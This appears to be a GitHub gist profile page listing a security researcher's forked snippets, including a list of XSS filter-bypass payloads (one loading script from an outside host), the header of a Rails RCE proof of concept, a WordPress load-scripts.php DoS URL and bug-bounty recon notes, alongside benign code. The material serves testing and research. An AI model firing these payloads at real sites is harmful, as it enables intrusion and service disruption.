Skip to content

Instantly share code, notes, and snippets.

View AssassinUKG's full-sized avatar
🎯
Focusing, Training

ac1d AssassinUKG

🎯
Focusing, Training
173 followers · 217 following
View GitHub Profile
@AssassinUKG
AssassinUKG / xxsfilterbypass.lst
Created February 26, 2021 04:39 — forked from rvrsh3ll/xxsfilterbypass.lst
XSS Filter Bypass List
';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
'';!--"<XSS>=&{()}
0\"autofocus/onfocus=alert(1)--><video/poster/onerror=prompt(2)>"-confirm(3)-"
<script/src=data:,alert()>
<marquee/onstart=alert()>
<video/poster/onerror=alert()>
<isindex/autofocus/onfocus=alert()>
<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>
<IMG SRC="javascript:alert('XSS');">
<IMG SRC=javascript:alert('XSS')>
@AssassinUKG
AssassinUKG / jquery-1.7.1.js
Created March 13, 2021 12:01 — forked from OscarGodson/jquery-1.7.1.js
/*!
* jQuery JavaScript Library v1.7.1
* http://jquery.com/
*
* Copyright 2011, John Resig
* Dual licensed under the MIT or GPL Version 2 licenses.
* http://jquery.org/license
*
* Includes Sizzle.js
* http://sizzlejs.com/
@AssassinUKG
AssassinUKG / rails_rce.rb
Created March 30, 2021 13:05 — forked from postmodern/rails_rce.rb
Proof-of-Concept exploit for Rails Remote Code Execution (CVE-2013-0156)
#!/usr/bin/env ruby
#
# Proof-of-Concept exploit for Rails Remote Code Execution (CVE-2013-0156)
#
# ## Advisory
#
# https://groups.google.com/forum/#!topic/rubyonrails-security/61bkgvnSGTQ/discussion
#
# ## Caveats
#
@AssassinUKG
AssassinUKG / JavascriptRecon.md
Created April 3, 2021 18:48
My Javascript Recon Process - BugBounty

Description

This is a simple guide to perform javascript recon in the bugbounty

Steps

  • The first step is to collect possibly several javascript files (more files = more paths,parameters -> more vulns)
@AssassinUKG
AssassinUKG / bash-cheatsheet.sh
Created May 10, 2021 11:28 — forked from LeCoupa/bash-cheatsheet.sh
Bash CheatSheet for UNIX Systems --> UPDATED VERSION --> https://github.com/LeCoupa/awesome-cheatsheets
#!/bin/bash
#####################################################
# Name: Bash CheatSheet for Mac OSX
#
# A little overlook of the Bash basics
#
# Usage:
#
# Author: J. Le Coupanec
# Date: 2014/11/04
@AssassinUKG
AssassinUKG / HttpServer.cs
Created May 10, 2021 20:59 — forked from define-private-public/HttpServer.cs
A Simple HTTP server in C#
// Filename: HttpServer.cs
// Author: Benjamin N. Summerton <define-private-public>
// License: Unlicense (http://unlicense.org/)
using System;
using System.IO;
using System.Text;
using System.Net;
using System.Threading.Tasks;
@AssassinUKG
AssassinUKG / fingerprint.js
Created May 18, 2021 10:43 — forked from nikitastupin/fingerprint.js
fingerprint.js
(() => {
let gadgets = [];
if (typeof _satellite !== 'undefined') {
gadgets.push('Adobe Dynamic Tag Management');
}
if (typeof BOOMR !== 'undefined') {
gadgets.push('Akamai Boomerang');
}
@AssassinUKG
AssassinUKG / threaded_requests.py
Created May 22, 2021 22:59 — forked from 0rdinal/threaded_requests.py
#!/usr/bin/python3
"""
A demonstration of how to perform multi-threaded HTTP requests.
Third Party Dependencies
------------------------
requests@latest:
Required to perform HTTP requests (unless you want to use urllib).
"""
import requests
@AssassinUKG
AssassinUKG / readme
Created June 9, 2021 10:56 — forked from Rokt33r/readme
HTML XSS test
SOURCE: http://htmlpurifier.org/live/smoketests/xssAttacks.php
@AssassinUKG
AssassinUKG / loadsxploit
Created June 22, 2021 11:03 — forked from remonsec/loadsxploit
This is the Full URL to exploit /wp-admin/load-scripts.php
/wp-admin/load-scripts.php?load=eutil,common,wp-a11y,sack,quicktag,colorpicker,editor,wp-fullscreen-stu,wp-ajax-response,wp-api-request,wp-pointer,autosave,heartbeat,wp-auth-check,wp-lists,prototype,scriptaculous-root,scriptaculous-builder,scriptaculous-dragdrop,scriptaculous-effects,scriptaculous-slider,scriptaculous-sound,scriptaculous-controls,scriptaculous,cropper,jquery,jquery-core,jquery-migrate,jquery-ui-core,jquery-effects-core,jquery-effects-blind,jquery-effects-bounce,jquery-effects-clip,jquery-effects-drop,jquery-effects-explode,jquery-effects-fade,jquery-effects-fold,jquery-effects-highlight,jquery-effects-puff,jquery-effects-pulsate,jquery-effects-scale,jquery-effects-shake,jquery-effects-size,jquery-effects-slide,jquery-effects-transfer,jquery-ui-accordion,jquery-ui-autocomplete,jquery-ui-button,jquery-ui-datepicker,jquery-ui-dialog,jquery-ui-draggable,jquery-ui-droppable,jquery-ui-menu,jquery-ui-mouse,jquery-ui-position,jquery-ui-progressbar,jquery-ui-resizable,jquery-ui-selectable,jquery-ui-se